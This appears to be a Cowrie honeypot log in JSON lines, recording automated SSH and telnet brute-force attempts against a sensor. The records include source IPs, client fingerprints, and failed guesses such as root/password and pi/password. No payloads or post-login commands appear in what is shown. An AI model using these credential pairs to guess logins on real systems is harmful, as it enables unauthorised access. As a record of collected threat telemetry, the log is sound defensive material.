{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:26.919786Z","src_ip":"103.15.222.183","session":"937a0f894085","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"041287","message":"login attempt [root/041287] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:27.617190Z","src_ip":"103.15.222.183","session":"937a0f894085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:28.851701Z","src_ip":"103.15.222.183","session":"937a0f894085","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.09142589569092,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:32.480688Z","src_ip":"107.6.151.170","session":"5511d4ffccbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57514,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8e96e029336","protocol":"telnet","message":"New connection: 170.64.224.25:57514 (159.203.135.109:23) [session: f8e96e029336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:28:33.550313Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":60432,"dst_ip":"159.203.135.109","dst_port":22,"session":"148c4079e88f","protocol":"ssh","message":"New connection: 77.94.47.83:60432 (159.203.135.109:22) [session: 148c4079e88f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:29:04.596343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:29:04.599847Z","src_ip":"77.94.47.83","session":"148c4079e88f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:29:04.704999Z","src_ip":"77.94.47.83","session":"148c4079e88f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"slacker","message":"login attempt [root/slacker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:29:05.021522Z","src_ip":"77.94.47.83","session":"148c4079e88f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:29:06.130252Z","src_ip":"77.94.47.83","session":"148c4079e88f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":57936,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f6b90860276","protocol":"telnet","message":"New connection: 170.64.224.25:57936 (159.203.135.109:23) [session: 1f6b90860276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:29:36.041512Z"}
{"eventid":"cowrie.session.closed","duration":63.84558987617493,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:29:37.395788Z","src_ip":"170.64.224.25","session":"f8e96e029336","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":56872,"dst_ip":"10.17.0.5","dst_port":22,"session":"61bb47cc330f","protocol":"ssh","message":"New connection: 91.92.40.176:56872 (10.17.0.5:22) [session: 61bb47cc330f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:30:15.193608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:30:15.197308Z","src_ip":"91.92.40.176","session":"61bb47cc330f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:30:15.278394Z","src_ip":"91.92.40.176","session":"61bb47cc330f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"password","message":"login attempt [pi/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:30:15.522348Z","src_ip":"91.92.40.176","session":"61bb47cc330f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:30:16.605054Z","src_ip":"91.92.40.176","session":"61bb47cc330f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":34546,"dst_ip":"10.17.0.5","dst_port":22,"session":"427fd50d4c0f","protocol":"ssh","message":"New connection: 91.92.40.10:34546 (10.17.0.5:22) [session: 427fd50d4c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:30:19.429649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:30:19.556444Z","src_ip":"91.92.40.10","session":"427fd50d4c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:30:19.559050Z","src_ip":"91.92.40.10","session":"427fd50d4c0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:30:20.560120Z","src_ip":"91.92.40.10","session":"427fd50d4c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:30:21.670798Z","src_ip":"91.92.40.10","session":"427fd50d4c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.88118124008179,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:30:29.922571Z","src_ip":"170.64.224.25","session":"1f6b90860276","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":60044,"dst_ip":"159.203.135.109","dst_port":22,"session":"adfc042fb557","protocol":"ssh","message":"New connection: 185.242.3.195:60044 (159.203.135.109:22) [session: adfc042fb557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:30:50.646313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:30:50.769030Z","src_ip":"185.242.3.195","session":"adfc042fb557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:30:50.772543Z","src_ip":"185.242.3.195","session":"adfc042fb557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty12","message":"login attempt [root/qwerty12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:30:51.337687Z","src_ip":"185.242.3.195","session":"adfc042fb557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:30:52.425625Z","src_ip":"185.242.3.195","session":"adfc042fb557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":56644,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b6fb9e56553","protocol":"ssh","message":"New connection: 103.27.238.120:56644 (159.203.135.109:22) [session: 3b6fb9e56553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:31:05.890087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:31:05.894022Z","src_ip":"103.27.238.120","session":"3b6fb9e56553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:31:06.163960Z","src_ip":"103.27.238.120","session":"3b6fb9e56553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199106","message":"login attempt [root/199106] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:31:06.965554Z","src_ip":"103.27.238.120","session":"3b6fb9e56553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:31:08.234280Z","src_ip":"103.27.238.120","session":"3b6fb9e56553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":37780,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fd1ee82a5f8","protocol":"ssh","message":"New connection: 213.202.230.81:37780 (10.17.0.5:22) [session: 7fd1ee82a5f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:32:06.735657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:32:06.738993Z","src_ip":"213.202.230.81","session":"7fd1ee82a5f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:32:06.832753Z","src_ip":"213.202.230.81","session":"7fd1ee82a5f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tyler_winklevoss","password":"tyler123","message":"login attempt [tyler_winklevoss/tyler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:32:07.115132Z","src_ip":"213.202.230.81","session":"7fd1ee82a5f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:32:08.211962Z","src_ip":"213.202.230.81","session":"7fd1ee82a5f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":50662,"dst_ip":"10.17.0.5","dst_port":22,"session":"b67ff30fa8d5","protocol":"ssh","message":"New connection: 91.92.40.10:50662 (10.17.0.5:22) [session: b67ff30fa8d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:32:10.127065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:32:10.299782Z","src_ip":"91.92.40.10","session":"b67ff30fa8d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:32:10.305462Z","src_ip":"91.92.40.10","session":"b67ff30fa8d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:32:11.324732Z","src_ip":"91.92.40.10","session":"b67ff30fa8d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:32:12.531163Z","src_ip":"91.92.40.10","session":"b67ff30fa8d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.66.42","src_port":48910,"dst_ip":"10.17.0.5","dst_port":22,"session":"6df546a8627d","protocol":"ssh","message":"New connection: 167.86.66.42:48910 (10.17.0.5:22) [session: 6df546a8627d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:33:01.352197Z"}
